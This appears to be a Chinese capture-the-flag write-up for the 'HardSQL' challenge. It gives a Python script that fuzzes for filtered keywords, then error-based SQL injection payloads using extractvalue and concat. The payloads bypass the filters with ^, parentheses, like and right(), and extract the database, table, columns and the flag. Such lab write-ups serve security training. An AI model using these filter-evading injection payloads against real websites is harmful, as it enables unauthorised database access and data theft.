[极客大挑战 2019]HardSQL

基础知识

基于extractvalue()和updatexml()的报错注入

FUZZ测试

写一个python 脚本跑一下屏蔽了什么关键字。

import requests
fuzzdict = open('sqldict.txt').readlines()
#sqldict.txt 存放了测试数据,按行读取
url='http://a247ca21-77c7-4087-b935-b40f8bc38fa1.node4.buuoj.cn:81/check.php'
Passtext = 'Wrong username password'
Failtext = '你可别被我逮住了,臭弟弟'
def Getrequest(dict):
    for i in dict:
        i = i.replace('\n','')
        #print(i)
        payload = url+'?username=test&password='+ i
        #print(payload)
        try:
            res = requests.get(url=payload,timeout=1)
        except:
            print("报错")
        if Passtext in res.text:
            print(i,'没有被过滤')
        if Failtext in res.text:
            print(i,'被过滤')
if __name__ =='__main__':
    Getrequest(fuzzdict)

 没有被屏蔽的关键字有extractvalue ^ concat group where,而且网页可以显示报错信息,在这里选择报错注入

解题过程

爆数据库

因为or关键字也被屏蔽了,所以就使用^代替,空格也被屏蔽了,就使用括号代替

?username=44&password=test'^extractvalue('testtest',concat('^',(select(database()))))%23

爆表名

因为等号‘=’被屏蔽了,所以用like代替

?username=44&password=test%27^extractvalue(%27testtest%27,concat(%27^%27,(select(table_name)from(information_schema.tables)where(table_schema)like%27geek%27)))%23

爆列名

?username=44&password=test%27^extractvalue(%27testtest%27,concat(%27^%27,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(%27H4rDsq1%27)))))%23

爆表里面的内容(前32位) 

 ?username=44&password=test%27^extractvalue(%27testtest%27,concat(%27~%27,(select(group_concat(id,username,password))from(geek.H4rDsq1))))%23

flag{33b9ea82-e13b-406f-b8

爆表里面的内容(后几位) 

其中substr函数被过滤,使用left进行代替

?username=44&password=test%27^extractvalue(%27testtest%27,concat(%27~%27,right((select(group_concat(id,username,password))from(geek.H4rDsq1)),30)))%23

 -e13b-406f-b83c-1c8d0c60ba36}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值